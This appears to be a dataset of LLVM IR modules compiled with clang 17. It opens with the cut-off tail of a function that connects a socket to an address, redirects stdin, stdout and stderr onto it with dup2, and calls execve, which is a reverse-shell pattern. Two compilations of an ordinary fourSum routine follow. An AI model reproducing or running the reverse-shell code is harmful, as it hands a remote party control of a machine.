getelementptr inbounds %struct.sockaddr_in, ptr %5, i32 0, i32 0 %17 = getelementptr inbounds %struct.TYPE_2__, ptr %16, i32 0, i32 0 store i32 %15, ptr %17, align 4 %18 = load i32, ptr %3, align 4 %19 = call i32 @connect(i32 noundef %18, ptr noundef %5, i32 noundef 4) %20 = load i32, ptr %3, align 4 %21 = call i32 @dup2(i32 noundef %20, i32 noundef 0) %22 = load i32, ptr %3, align 4 %23 = call i32 @dup2(i32 noundef %22, i32 noundef 1) %24 = load i32, ptr %3, align 4 %25 = call i32 @dup2(i32 noundef %24, i32 noundef 2) %26 = call i32 @execve(ptr noundef @.str, ptr noundef null, ptr noundef null) ret i32 0 } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite) declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1 declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #2 declare i32 @htons(i32 noundef) #2 declare i32 @inet_addr(ptr noundef) #2 declare i32 @connect(i32 noundef, ptr noundef, i32 noundef) #2 declare i32 @dup2(i32 noundef, i32 noundef) #2 declare i32 @execve(ptr noundef, ptr noundef, ptr noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpx746csae.c' source_filename = "/tmp/tmpx746csae.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @fourSum(ptr noundef %0, i32 noundef %1, i32 noundef %2, ptr noundef %3) #0 { %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca ptr, align 8 %10 = alloca ptr, align 8 %11 = alloca i32, align 4 %12 = alloca i32, align 4 %13 = alloca i32, align 4 %14 = alloca i32, align 4 %15 = alloca i32, align 4 %16 = alloca ptr, align 8 store ptr %0, ptr %6, align 8 store i32 %1, ptr %7, align 4 store i32 %2, ptr %8, align 4 store ptr %3, ptr %9, align 8 %17 = call i64 @malloc(i32 noundef 80000) %18 = inttoptr i64 %17 to ptr store ptr %18, ptr %10, align 8 %19 = load ptr, ptr %9, align 8 store i32 0, ptr %19, align 4 %20 = load i32, ptr %7, align 4 %21 = icmp slt i32 %20, 4 br i1 %21, label %22, label %24 22: ; preds = %4 %23 = load ptr, ptr %10, align 8 store ptr %23, ptr %5, align 8 br label %272 24: ; preds = %4 %25 = load ptr, ptr %6, align 8 %26 = load i32, ptr %7, align 4 %27 = sub nsw i32 %26, 1 %28 = call i32 @quickSort(ptr noundef %25, i32 noundef 0, i32 noundef %27) store i32 0, ptr %11, align 4 br label %29 29: ; preds = %267, %24 %30 = load i32, ptr %11, align 4 %31 = load i32, ptr %7, align 4 %32 = sub nsw i32 %31, 3 %33 = icmp slt i32 %30, %32 br i1 %33, label %34, label %270 34: ; preds = %29 %35 = load i32, ptr %11, align 4 %36 = icmp sgt i32 %35, 0 br i1 %36, label %37, label %51 37: ; preds = %34 %38 = load ptr, ptr %6, align 8 %39 = load i32, ptr %11, align 4 %40 = sext i32 %39 to i64 %41 = getelementptr inbounds i32, ptr %38, i64 %40 %42 = load i32, ptr %41, align 4 %43 = load ptr, ptr %6, align 8 %44 = load i32, ptr %11, align 4 %45 = sub nsw i32 %44, 1 %46 = sext i32 %45 to i64 %47 = getelementptr inbounds i32, ptr %43, i64 %46 %48 = load i32, ptr %47, align 4 %49 = icmp eq i32 %42, %48 br i1 %49, label %50, label %51 50: ; preds = %37 br label %267 51: ; preds = %37, %34 %52 = load i32, ptr %11, align 4 %53 = add nsw i32 %52, 1 store i32 %53, ptr %12, align 4 br label %54 54: ; preds = %263, %51 %55 = load i32, ptr %12, align 4 %56 = load i32, ptr %7, align 4 %57 = sub nsw i32 %56, 2 %58 = icmp slt i32 %55, %57 br i1 %58, label %59, label %266 59: ; preds = %54 %60 = load i32, ptr %12, align 4 %61 = load i32, ptr %11, align 4 %62 = add nsw i32 %61, 1 %63 = icmp sgt i32 %60, %62 br i1 %63, label %64, label %78 64: ; preds = %59 %65 = load ptr, ptr %6, align 8 %66 = load i32, ptr %12, align 4 %67 = sext i32 %66 to i64 %68 = getelementptr inbounds i32, ptr %65, i64 %67 %69 = load i32, ptr %68, align 4 %70 = load ptr, ptr %6, align 8 %71 = load i32, ptr %12, align 4 %72 = sub nsw i32 %71, 1 %73 = sext i32 %72 to i64 %74 = getelementptr inbounds i32, ptr %70, i64 %73 %75 = load i32, ptr %74, align 4 %76 = icmp eq i32 %69, %75 br i1 %76, label %77, label %78 77: ; preds = %64 br label %263 78: ; preds = %64, %59 %79 = load i32, ptr %12, align 4 %80 = add nsw i32 %79, 1 store i32 %80, ptr %14, align 4 %81 = load i32, ptr %7, align 4 %82 = sub nsw i32 %81, 1 store i32 %82, ptr %15, align 4 br label %83 83: ; preds = %261, %78 %84 = load i32, ptr %14, align 4 %85 = load i32, ptr %15, align 4 %86 = icmp slt i32 %84, %85 br i1 %86, label %87, label %262 87: ; preds = %83 %88 = load ptr, ptr %6, align 8 %89 = load i32, ptr %11, align 4 %90 = sext i32 %89 to i64 %91 = getelementptr inbounds i32, ptr %88, i64 %90 %92 = load i32, ptr %91, align 4 %93 = load ptr, ptr %6, align 8 %94 = load i32, ptr %12, align 4 %95 = sext i32 %94 to i64 %96 = getelementptr inbounds i32, ptr %93, i64 %95 %97 = load i32, ptr %96, align 4 %98 = add nsw i32 %92, %97 %99 = load ptr, ptr %6, align 8 %100 = load i32, ptr %14, align 4 %101 = sext i32 %100 to i64 %102 = getelementptr inbounds i32, ptr %99, i64 %101 %103 = load i32, ptr %102, align 4 %104 = add nsw i32 %98, %103 %105 = load ptr, ptr %6, align 8 %106 = load i32, ptr %15, align 4 %107 = sext i32 %106 to i64 %108 = getelementptr inbounds i32, ptr %105, i64 %107 %109 = load i32, ptr %108, align 4 %110 = add nsw i32 %104, %109 store i32 %110, ptr %13, align 4 %111 = load i32, ptr %13, align 4 %112 = load i32, ptr %8, align 4 %113 = icmp eq i32 %111, %112 br i1 %113, label %114, label %204 114: ; preds = %87 %115 = call i64 @malloc(i32 noundef 16) %116 = inttoptr i64 %115 to ptr store ptr %116, ptr %16, align 8 %117 = load ptr, ptr %6, align 8 %118 = load i32, ptr %11, align 4 %119 = sext i32 %118 to i64 %120 = getelementptr inbounds i32, ptr %117, i64 %119 %121 = load i32, ptr %120, align 4 %122 = load ptr, ptr %16, align 8 %123 = getelementptr inbounds i32, ptr %122, i64 0 store i32 %121, ptr %123, align 4 %124 = load ptr, ptr %6, align 8 %125 = load i32, ptr %12, align 4 %126 = sext i32 %125 to i64 %127 = getelementptr inbounds i32, ptr %124, i64 %126 %128 = load i32, ptr %127, align 4 %129 = load ptr, ptr %16, align 8 %130 = getelementptr inbounds i32, ptr %129, i64 1 store i32 %128, ptr %130, align 4 %131 = load ptr, ptr %6, align 8 %132 = load i32, ptr %14, align 4 %133 = sext i32 %132 to i64 %134 = getelementptr inbounds i32, ptr %131, i64 %133 %135 = load i32, ptr %134, align 4 %136 = load ptr, ptr %16, align 8 %137 = getelementptr inbounds i32, ptr %136, i64 2 store i32 %135, ptr %137, align 4 %138 = load ptr, ptr %6, align 8 %139 = load i32, ptr %15, align 4 %140 = sext i32 %139 to i64 %141 = getelementptr inbounds i32, ptr %138, i64 %140 %142 = load i32, ptr %141, align 4 %143 = load ptr, ptr %16, align 8 %144 = getelementptr inbounds i32, ptr %143, i64 3 store i32 %142, ptr %144, align 4 %145 = load ptr, ptr %16, align 8 %146 = load ptr, ptr %10, align 8 %147 = load ptr, ptr %9, align 8 %148 = load i32, ptr %147, align 4 %149 = sext i32 %148 to i64 %150 = getelementptr inbounds ptr, ptr %146, i64 %149 store ptr %145, ptr %150, align 8 %151 = load ptr, ptr %9, align 8 %152 = load i32, ptr %151, align 4 %153 = add nsw i32 %152, 1 store i32 %153, ptr %151, align 4 %154 = load i32, ptr %14, align 4 %155 = add nsw i32 %154, 1 store i32 %155, ptr %14, align 4 %156 = load i32, ptr %15, align 4 %157 = add nsw i32 %156, -1 store i32 %157, ptr %15, align 4 br label %158 158: ; preds = %177, %114 %159 = load i32, ptr %14, align 4 %160 = load i32, ptr %15, align 4 %161 = icmp slt i32 %159, %160 br i1 %161, label %162, label %175 162: ; preds = %158 %163 = load ptr, ptr %6, align 8 %164 = load i32, ptr %14, align 4 %165 = sext i32 %164 to i64 %166 = getelementptr inbounds i32, ptr %163, i64 %165 %167 = load i32, ptr %166, align 4 %168 = load ptr, ptr %6, align 8 %169 = load i32, ptr %14, align 4 %170 = sub nsw i32 %169, 1 %171 = sext i32 %170 to i64 %172 = getelementptr inbounds i32, ptr %168, i64 %171 %173 = load i32, ptr %172, align 4 %174 = icmp eq i32 %167, %173 br label %175 175: ; preds = %162, %158 %176 = phi i1 [ false, %158 ], [ %174, %162 ] br i1 %176, label %177, label %180 177: ; preds = %175 %178 = load i32, ptr %14, align 4 %179 = add nsw i32 %178, 1 store i32 %179, ptr %14, align 4 br label %158, !llvm.loop !6 180: ; preds = %175 br label %181 181: ; preds = %200, %180 %182 = load i32, ptr %14, align 4 %183 = load i32, ptr %15, align 4 %184 = icmp slt i32 %182, %183 br i1 %184, label %185, label %198 185: ; preds = %181 %186 = load ptr, ptr %6, align 8 %187 = load i32, ptr %15, align 4 %188 = sext i32 %187 to i64 %189 = getelementptr inbounds i32, ptr %186, i64 %188 %190 = load i32, ptr %189, align 4 %191 = load ptr, ptr %6, align 8 %192 = load i32, ptr %15, align 4 %193 = add nsw i32 %192, 1 %194 = sext i32 %193 to i64 %195 = getelementptr inbounds i32, ptr %191, i64 %194 %196 = load i32, ptr %195, align 4 %197 = icmp eq i32 %190, %196 br label %198 198: ; preds = %185, %181 %199 = phi i1 [ false, %181 ], [ %197, %185 ] br i1 %199, label %200, label %203 200: ; preds = %198 %201 = load i32, ptr %15, align 4 %202 = add nsw i32 %201, -1 store i32 %202, ptr %15, align 4 br label %181, !llvm.loop !8 203: ; preds = %198 br label %261 204: ; preds = %87 %205 = load i32, ptr %13, align 4 %206 = load i32, ptr %8, align 4 %207 = icmp sgt i32 %205, %206 br i1 %207, label %208, label %234 208: ; preds = %204 %209 = load i32, ptr %15, align 4 %210 = add nsw i32 %209, -1 store i32 %210, ptr %15, align 4 br label %211 211: ; preds = %230, %208 %212 = load i32, ptr %14, align 4 %213 = load i32, ptr %15, align 4 %214 = icmp slt i32 %212, %213 br i1 %214, label %215, label %228 215: ; preds = %211 %216 = load ptr, ptr %6, align 8 %217 = load i32, ptr %15, align 4 %218 = sext i32 %217 to i64 %219 = getelementptr inbounds i32, ptr %216, i64 %218 %220 = load i32, ptr %219, align 4 %221 = load ptr, ptr %6, align 8 %222 = load i32, ptr %15, align 4 %223 = add nsw i32 %222, 1 %224 = sext i32 %223 to i64 %225 = getelementptr inbounds i32, ptr %221, i64 %224 %226 = load i32, ptr %225, align 4 %227 = icmp eq i32 %220, %226 br label %228 228: ; preds = %215, %211 %229 = phi i1 [ false, %211 ], [ %227, %215 ] br i1 %229, label %230, label %233 230: ; preds = %228 %231 = load i32, ptr %15, align 4 %232 = add nsw i32 %231, -1 store i32 %232, ptr %15, align 4 br label %211, !llvm.loop !9 233: ; preds = %228 br label %260 234: ; preds = %204 %235 = load i32, ptr %14, align 4 %236 = add nsw i32 %235, 1 store i32 %236, ptr %14, align 4 br label %237 237: ; preds = %256, %234 %238 = load i32, ptr %14, align 4 %239 = load i32, ptr %15, align 4 %240 = icmp slt i32 %238, %239 br i1 %240, label %241, label %254 241: ; preds = %237 %242 = load ptr, ptr %6, align 8 %243 = load i32, ptr %14, align 4 %244 = sext i32 %243 to i64 %245 = getelementptr inbounds i32, ptr %242, i64 %244 %246 = load i32, ptr %245, align 4 %247 = load ptr, ptr %6, align 8 %248 = load i32, ptr %14, align 4 %249 = sub nsw i32 %248, 1 %250 = sext i32 %249 to i64 %251 = getelementptr inbounds i32, ptr %247, i64 %250 %252 = load i32, ptr %251, align 4 %253 = icmp eq i32 %246, %252 br label %254 254: ; preds = %241, %237 %255 = phi i1 [ false, %237 ], [ %253, %241 ] br i1 %255, label %256, label %259 256: ; preds = %254 %257 = load i32, ptr %14, align 4 %258 = add nsw i32 %257, 1 store i32 %258, ptr %14, align 4 br label %237, !llvm.loop !10 259: ; preds = %254 br label %260 260: ; preds = %259, %233 br label %261 261: ; preds = %260, %203 br label %83, !llvm.loop !11 262: ; preds = %83 br label %263 263: ; preds = %262, %77 %264 = load i32, ptr %12, align 4 %265 = add nsw i32 %264, 1 store i32 %265, ptr %12, align 4 br label %54, !llvm.loop !12 266: ; preds = %54 br label %267 267: ; preds = %266, %50 %268 = load i32, ptr %11, align 4 %269 = add nsw i32 %268, 1 store i32 %269, ptr %11, align 4 br label %29, !llvm.loop !13 270: ; preds = %29 %271 = load ptr, ptr %10, align 8 store ptr %271, ptr %5, align 8 br label %272 272: ; preds = %270, %22 %273 = load ptr, ptr %5, align 8 ret ptr %273 } declare i64 @malloc(i32 noundef) #1 declare i32 @quickSort(ptr noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7} !11 = distinct !{!11, !7} !12 = distinct !{!12, !7} !13 = distinct !{!13, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpx746csae.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @fourSum(ptr noundef %0, i32 noundef %1, i32 noundef %2, ptr noundef %3) #0 { %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca ptr, align 8 %10 = alloca ptr, align 8 %11 = alloca i32, align 4 %12 = alloca i32, align 4 %13 = alloca i32, align 4 %14 = alloca i32, align 4 %15 = alloca i32, align 4 %16 = alloca ptr, align 8 store ptr %0, ptr %6, align 8 store i32 %1, ptr %7, align 4 store i32 %2, ptr %8, align 4 store ptr %3, ptr %9, align 8 %17 = call i64 @malloc(i32 noundef 80000) %18 = inttoptr i64 %17 to ptr store ptr %18, ptr %10, align 8 %19 = load ptr, ptr %9, align 8 store i32 0, ptr %19, align 4 %20 = load i32, ptr %7, align 4 %21 = icmp slt i32 %20, 4 br i1 %21, label %22, label %24 22: ; preds = %4 %23 = load ptr, ptr %10, align 8 store ptr %23, ptr %5, align 8 br label %280 24: ; preds = %4 %25 = load ptr, ptr %6, align 8 %26 = load i32, ptr %7, align 4 %27 = sub nsw i32 %26, 1 %28 = call i32 @quickSort(ptr noundef %25, i32 noundef 0, i32 noundef %27) store i32 0, ptr %11, align 4 %29 = load i32, ptr %11, align 4 %30 = load i32, ptr %7, align 4 %31 = sub nsw i32 %30, 3 %32 = icmp slt i32 %29, %31 br i1 %32, label %.lr.ph5, label %278 .lr.ph5: ; preds = %24 br label %33 33: ; preds = %.lr.ph5, %271 %34 = load i32, ptr %11, align 4 %35 = icmp sgt i32 %34, 0 br i1 %35, label %36, label %50 36: ; preds = %33 %37 = load ptr, ptr %6, align 8 %38 = load i32, ptr %11, align 4 %39 = sext i32 %38 to i64 %40 = getelementptr inbounds i32, ptr %37, i64 %39 %41 = load i32, ptr %40, align 4 %42 = load ptr, ptr %6, align 8 %43 = load i32, ptr %11, align 4 %44 = sub nsw i32 %43, 1 %45 = sext i32 %44 to i64 %46 = getelementptr inbounds i32, ptr %42, i64 %45 %47 = load i32, ptr %46, align 4 %48 = icmp eq i32 %41, %47 br i1 %48, label %49, label %50 49: ; preds = %36 br label %271 50: ; preds = %36, %33 %51 = load i32, ptr %11, align 4 %52 = add nsw i32 %51, 1 store i32 %52, ptr %12, align 4 %53 = load i32, ptr %12, align 4 %54 = load i32, ptr %7, align 4 %55 = sub nsw i32 %54, 2 %56 = icmp slt i32 %53, %55 br i1 %56, label %.lr.ph2, label %270 .lr.ph2: ; preds = %50 br label %57 57: ; preds = %.lr.ph2, %263 %58 = load i32, ptr %12, align 4 %59 = load i32, ptr %11, align 4 %60 = add nsw i32 %59, 1 %61 = icmp sgt i32 %58, %60 br i1 %61, label %62, label %76 62: ; preds = %57 %63 = load ptr, ptr %6, align 8 %64 = load i32, ptr %12, align 4 %65 = sext i32 %64 to i64 %66 = getelementptr inbounds i32, ptr %63, i64 %65 %67 = load i32, ptr %66, align 4 %68 = load ptr, ptr %6, align 8 %69 = load i32, ptr %12, align 4 %70 = sub nsw i32 %69, 1 %71 = sext i32 %70 to i64 %72 = getelementptr inbounds i32, ptr %68, i64 %71 %73 = load i32, ptr %72, align 4 %74 = icmp eq i32 %67, %73 br i1 %74, label %75, label %76 75: ; preds = %62 br label %263 76: ; preds = %62, %57 %77 = load i32, ptr %12, align 4 %78 = add nsw i32 %77, 1 store i32 %78, ptr %14, align 4 %79 = load i32, ptr %7, align 4 %80 = sub nsw i32 %79, 1 store i32 %80, ptr %15, align 4 %81 = load i32, ptr %14, align 4 %82 = load i32, ptr %15, align 4 %83 = icmp slt i32 %81, %82 br i1 %83, label %.lr.ph, label %262 .lr.ph: ; preds = %76 br label %84 84: ; preds = %.lr.ph, %258 %85 = load ptr, ptr %6, align 8 %86 = load i32, ptr %11, align 4 %87 = sext i32 %86 to i64 %88 = getelementptr inbounds i32, ptr %85, i64 %87 %89 = load i32, ptr %88, align 4 %90 = load ptr, ptr %6, align 8 %91 = load i32, ptr %12, align 4 %92 = sext i32 %91 to i64 %93 = getelementptr inbounds i32, ptr %90, i64 %92 %94 = load i32, ptr %93, align 4 %95 = add nsw i32 %89, %94 %96 = load ptr, ptr %6, align 8 %97 = load i32, ptr %14, align 4 %98 = sext i32 %97 to i64 %99 = getelementptr inbounds i32, ptr %96, i64 %98 %100 = load i32, ptr %99, align 4 %101 = add nsw i32 %95, %100 %102 = load ptr, ptr %6, align 8 %103 = load i32, ptr %15, align 4 %104 = sext i32 %103 to i64 %105 = getelementptr inbounds i32, ptr %102, i64 %104 %106 = load i32, ptr %105, align 4 %107 = add nsw i32 %101, %106 store i32 %107, ptr %13, align 4 %108 = load i32, ptr %13, align 4 %109 = load i32, ptr %8, align 4 %110 = icmp eq i32 %108, %109 br i1 %110, label %111, label %201 111: ; preds = %84 %112 = call i64 @malloc(i32 noundef 16) %113 = inttoptr i64 %112 to ptr store ptr %113, ptr %16, align 8 %114 = load ptr, ptr %6, align 8 %115 = load i32, ptr %11, align 4 %116 = sext i32 %115 to i64 %117 = getelementptr inbounds i32, ptr %114, i64 %116 %118 = load i32, ptr %117, align 4 %119 = load ptr, ptr %16, align 8 %120 = getelementptr inbounds i32, ptr %119, i64 0 store i32 %118, ptr %120, align 4 %121 = load ptr, ptr %6, align 8 %122 = load i32, ptr %12, align 4 %123 = sext i32 %122 to i64 %124 = getelementptr inbounds i32, ptr %121, i64 %123 %125 = load i32, ptr %124, align 4 %126 = load ptr, ptr %16, align 8 %127 = getelementptr inbounds i32, ptr %126, i64 1 store i32 %125, ptr %127, align 4 %128 = load ptr, ptr %6, align 8 %129 = load i32, ptr %14, align 4 %130 = sext i32 %129 to i64 %131 = getelementptr inbounds i32, ptr %128, i64 %130 %132 = load i32, ptr %131, align 4 %133 = load ptr, ptr %16, align 8 %134 = getelementptr inbounds i32, ptr %133, i64 2 store i32 %132, ptr %134, align 4 %135 = load ptr, ptr %6, align 8 %136 = load i32, ptr %15, align 4 %137 = sext i32 %136 to i64 %138 = getelementptr inbounds i32, ptr %135, i64 %137 %139 = load i32, ptr %138, align 4 %140 = load ptr, ptr %16, align 8 %141 = getelementptr inbounds i32, ptr %140, i64 3 store i32 %139, ptr %141, align 4 %142 = load ptr, ptr %16, align 8 %143 = load ptr, ptr %10, align 8 %144 = load ptr, ptr %9, align 8 %145 = load i32, ptr %144, align 4 %146 = sext i32 %145 to i64 %147 = getelementptr inbounds ptr, ptr %143, i64 %146 store ptr %142, ptr %147, align 8 %148 = load ptr, ptr %9, align 8 %149 = load i32, ptr %148, align 4 %150 = add nsw i32 %149, 1 store i32 %150, ptr %148, align 4 %151 = load i32, ptr %14, align 4 %152 = add nsw i32 %151, 1 store i32 %152, ptr %14, align 4 %153 = load i32, ptr %15, align 4 %154 = add nsw i32 %153, -1 store i32 %154, ptr %15, align 4 br label %155 155: ; preds = %174, %111 %156 = load i32, ptr %14, align 4 %157 = load i32, ptr %15, align 4 %158 = icmp slt i32 %156, %157 br i1 %158, label %159, label %172 159: ; preds = %155 %160 = load ptr, ptr %6, align 8 %161 = load i32, ptr %14, align 4 %162 = sext i32 %161 to i64 %163 = getelementptr inbounds i32, ptr %160, i64 %162 %164 = load i32, ptr %163, align 4 %165 = load ptr, ptr %6, align 8 %166 = load i32, ptr %14, align 4 %167 = sub nsw i32 %166, 1 %168 = sext i32 %167 to i64 %169 = getelementptr inbounds i32, ptr %165, i64 %168 %170 = load i32, ptr %169, align 4 %171 = icmp eq i32 %164, %170 br label %172 172: ; preds = %159, %155 %173 = phi i1 [ false, %155 ], [ %171, %159 ] br i1 %173, label %174, label %177 174: ; preds = %172 %175 = load i32, ptr %14, align 4 %176 = add nsw i32 %175, 1 store i32 %176, ptr %14, align 4 br label %155, !llvm.loop !6 177: ; preds = %172 br label %178 178: ; preds = %197, %177 %179 = load i32, ptr %14, align 4 %180 = load i32, ptr %15, align 4 %181 = icmp slt i32 %179, %180 br i1 %181, label %182, label %195 182: ; preds = %178 %183 = load ptr, ptr %6, align 8 %184 = load i32, ptr %15, align 4 %185 = sext i32 %184 to i64 %186 = getelementptr inbounds i32, ptr %183, i64 %185 %187 = load i32, ptr %186, align 4 %188 = load ptr, ptr %6, align 8 %189 = load i32, ptr %15, align 4 %190 = add nsw i32 %189, 1 %191 = sext i32 %190 to i64 %192 = getelementptr inbounds i32, ptr %188, i64 %191 %193 = load i32, ptr %192, align 4 %194 = icmp eq i32 %187, %193 br label %195 195: ; preds = %182, %178 %196 = phi i1 [ false, %178 ], [ %194, %182 ] br i1 %196, label %197, label %200 197: ; preds = %195 %198 = load i32, ptr %15, align 4 %199 = add nsw i32 %198, -1 store i32 %199, ptr %15, align 4 br label %178, !llvm.loop !8 200: ; preds = %195 br label %258 201: ; preds = %84 %202 = load i32, ptr %13, align 4 %203 = load i32, ptr %8, align 4 %204 = icmp sgt i32 %202, %203 br i1 %204, label %205, label %231 205: ; preds = %201 %206 = load i32, ptr %15, align 4 %207 = add nsw i32 %206, -1 store i32 %207, ptr %15, align 4 br label %208 208: ; preds = %227, %205 %209 = load i32, ptr %14, align 4 %210 = load i32, ptr %15, align 4 %211 = icmp slt i32 %209, %210 br i1 %211, label %212, label %225 212: ; preds = %208 %213 = load ptr, ptr %6, align 8 %214 = load i32, ptr %15, align 4 %215 = sext i32 %214 to i64 %216 = getelementptr inbounds i32, ptr %213, i64 %215 %217 = load i32, ptr %216, align 4 %218 = load ptr, ptr %6, align 8 %219 = load i32, ptr %15, align 4 %220 = add nsw i32 %219, 1 %221 = sext i32 %220 to i64 %222 = getelementptr inbounds i32, ptr %218, i64 %221 %223 = load i32, ptr %222, align 4 %224 = icmp eq i32 %217, %223 br label %225 225: ; preds = %212, %208 %226 = phi i1 [ false, %208 ], [ %224, %212 ] br i1 %226, label %227, label %230 227: ; preds = %225 %228 = load i32, ptr %15, align 4 %229 = add nsw i32 %228, -1 store i32 %229, ptr %15, align 4 br label %208, !llvm.loop !9 230: ; preds = %225 br label %257 231: ; preds = %201 %232 = load i32, ptr %14, align 4 %233 = add nsw i32 %232, 1 store i32 %233, ptr %14, align 4 br label %234 234: ; preds = %253, %231 %235 = load i32, ptr %14, align 4 %236 = load i32, ptr %15, align 4 %237 = icmp slt i32 %235, %236 br i1 %237, label %238, label %251 238: ; preds = %234 %239 = load ptr, ptr %6, align 8 %240 = load i32, ptr %14, align 4 %241 = sext i32 %240 to i64 %242 = getelementptr inbounds i32, ptr %239, i64 %241 %243 = load i32, ptr %242, align 4 %244 = load ptr, ptr %6, align 8 %245 = load i32, ptr %14, align 4 %246 = sub nsw i32 %245, 1 %247 = sext i32 %246 to i64 %248 = getelementptr inbounds i32, ptr %244, i64 %247 %249 = load i32, ptr %248, align 4 %250 = icmp eq i32 %243, %249 br label %251 251: ; preds = %238, %234 %252 = phi i1 [ false, %234 ], [ %250, %238 ] br i1 %252, label %253, label %256 253: ; preds = %251 %254 = load i32, ptr %14, align 4 %255 = add nsw i32 %254, 1 store i32 %255, ptr %14, align 4 br label %234, !llvm.loop !10 256: ; preds = %251 br label %257 257: ; preds = %256, %230 br label %258 258: ; preds = %257, %200 %259 = load i32, ptr %14, align 4 %260 = load i32, ptr %15, align 4 %261 = icmp slt i32 %259, %260 br i1 %261, label %84, label %._crit_edge, !llvm.loop !11 ._crit_edge: ; preds = %258 br label %262 262: ; preds = %._crit_edge, %76 br label %263 263: ; preds = %262, %75 %264 = load i32, ptr %12, align 4 %265 = add nsw i32 %264, 1 store i32 %265, ptr %12, align 4 %266 = load i32, ptr %12, align 4 %267 = load i32, ptr %7, align 4 %268 = sub nsw i32 %267, 2 %269 = icmp slt i32 %266, %268 br i1 %269, label %57, label %._crit_edge3, !llvm.loop !12 ._crit_edge3: ; preds = %263 br label %270 270: ; preds = %._crit_edge3, %50 br label %271 271: ; preds = %270, %49 %272 = load i32, ptr %11, align 4 %273 = add nsw i32 %272, 1 store i32 %273, ptr %11, align 4 %274 = load i32, ptr %11, align 4 %275 = load i32, ptr %7, align 4 %276 = sub nsw i32 %275, 3 %277 = icmp slt i32 %274, %276 br i1 %277, label %33, label %._crit_edge6, !llvm.loop !13 ._crit_edge6: ; preds = %271 br label %278 278: ; preds = %._crit_edge6, %24 %279 = load ptr, ptr %10, align 8 store ptr %279, ptr %5, align 8 br label %280 280: ; preds = %278, %22 %281 = load ptr, ptr %5, align 8 ret ptr %281 } declare i64 @malloc(i32 noundef) #1 declare i32 @quickSort(ptr noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7} !11 = distinct !{!11, !7} !12 = distinct !{!12, !7} !13 = distinct !{!13, !7}
